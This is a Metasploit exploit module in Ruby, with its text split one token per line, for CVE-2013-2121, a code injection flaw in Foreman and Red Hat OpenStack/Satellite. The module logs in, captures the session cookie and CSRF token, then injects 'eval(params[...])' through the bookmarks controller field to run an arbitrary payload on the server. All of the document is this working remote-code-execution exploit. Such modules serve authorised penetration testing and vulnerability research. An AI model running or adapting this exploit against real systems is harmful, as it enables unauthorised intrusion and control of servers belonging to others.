##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require
'msf/core'
class
Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def
initialize
super
(
'Name'
=>
'Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection'
,
'Description'
=> %q{
This
module
exploits a code injection vulnerability
in
the
'create'
action of
'bookmarks'
controller of Foreman
and
Red Hat OpenStack/Satellite
(Foreman
1
.
2
.
0
-
RC1
and
earlier).
},
'Author'
=>
'Ramon de C Valle'
,
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'CVE'
,
'2013-2121'
],
[
'CWE'
,
'95'
],
[
'OSVDB'
,
'94671'
],
[
'BID'
,
'60833'
],
[
'URL'
,
'https://bugzilla.redhat.com/show_bug.cgi?id=968166'
],
[
'URL'
,
'http://projects.theforeman.org/issues/2631'
]
],
'Platform'
=>
'ruby'
,
'Arch'
=>
ARCH_RUBY
,
'Privileged'
=>
false
,
'Targets'
=>
[
[
'Automatic'
, {}]
],
'DisclosureDate'
=>
'Jun 6 2013'
,
'DefaultOptions'
=> {
'PrependFork'
=>
true
},
'DefaultTarget'
=>
0
)
register_options(
[
Opt::
RPORT
(
443
),
OptBool.
new
(
'SSL'
, [
true
,
'Use SSL'
,
true
]),
OptString.
new
(
'USERNAME'
, [
true
,
'Your username'
,
'admin'
]),
OptString.
new
(
'PASSWORD'
, [
true
,
'Your password'
,
'changeme'
]),
OptString.
new
(
'TARGETURI'
, [
true
,
'The path to the application'
,
'/'
]),
],
self
.
class
)
end
def
exploit
print_status(
"Logging into #{target_url}..."
)
res = send_request_cgi(
'method'
=>
'POST'
,
'uri'
=> normalize_uri(target_uri.path,
'users'
,
'login'
),
'vars_post'
=> {
'login[login]'
=> datastore[
'USERNAME'
],
'login[password]'
=> datastore[
'PASSWORD'
]
}
)
fail_with(Exploit::Failure::Unknown,
'No response from remote host'
)
if
res.
nil
?
if
res.headers[
'Location'
] =~ /users\/login$/
fail_with(Exploit::Failure::NoAccess,
'Authentication failed'
)
else
session =
$1
if
res.headers[
'Set-Cookie'
] =~ /_session_id=([
0
-9a-f]*)/
fail_with(Exploit::Failure::UnexpectedReply,
'Failed to retrieve the current session id'
)
if
session.
nil
?
end
print_status(
'Retrieving the CSRF token for this session...'
)
res = send_request_cgi(
'cookie'
=>
"_session_id=#{session}"
,
'method'
=>
'GET'
,
'uri'
=> normalize_uri(target_uri)
)
fail_with(Exploit::Failure::Unknown,
'No response from remote host'
)
if
res.
nil
?
if
res.headers[
'Location'
] =~ /users\/login$/
fail_with(Exploit::Failure::UnexpectedReply,
'Failed to retrieve the CSRF token'
)
else
csrf_param =
$1
if
res.body =~ /<meta[ ]+content=
"(.*)"
[ ]+name=
"csrf-param"
[ ]*\/?>/i
csrf_token =
$1
if
res.body =~ /<meta[ ]+content=
"(.*)"
[ ]+name=
"csrf-token"
[ ]*\/?>/i
if
csrf_param.
nil
? || csrf_token.
nil
?
csrf_param =
$1
if
res.body =~ /<meta[ ]+name=
"csrf-param"
[ ]+content=
"(.*)"
[ ]*\/?>/i
csrf_token =
$1
if
res.body =~ /<meta[ ]+name=
"csrf-token"
[ ]+content=
"(.*)"
[ ]*\/?>/i
end
fail_with(Exploit::Failure::UnexpectedReply,
'Failed to retrieve the CSRF token'
)
if
csrf_param.
nil
? || csrf_token.
nil
?
end
payload_param = Rex::Text.rand_text_alpha_lower(rand(
9
) +
3
)
print_status(
"Sending create-bookmark request to #{target_url('bookmarks')}..."
)
res = send_request_cgi(
'cookie'
=>
"_session_id=#{session}"
,
'method'
=>
'POST'
,
'uri'
=> normalize_uri(target_uri.path,
'bookmarks'
),
'vars_post'
=> {
csrf_param => csrf_token,
payload_param => payload.encoded,
'bookmark[controller]'
=>
"eval(params[:#{payload_param}])#"
,
'bookmark[name]'
=> Rex::Text.rand_text_alpha_lower(rand(
9
) +
3
),
'bookmark[query]'
=> Rex::Text.rand_text_alpha_lower(rand(
9
) +
3
)
}
)
end
def
target_url(*args)
(ssl ?
'https'
:
'http'
) +
if
rport.to_i ==
80
|| rport.to_i ==
443
"://#{vhost}"
else
"://#{vhost}:#{rport}"
end
+ normalize_uri(target_uri.path, *args)
end
end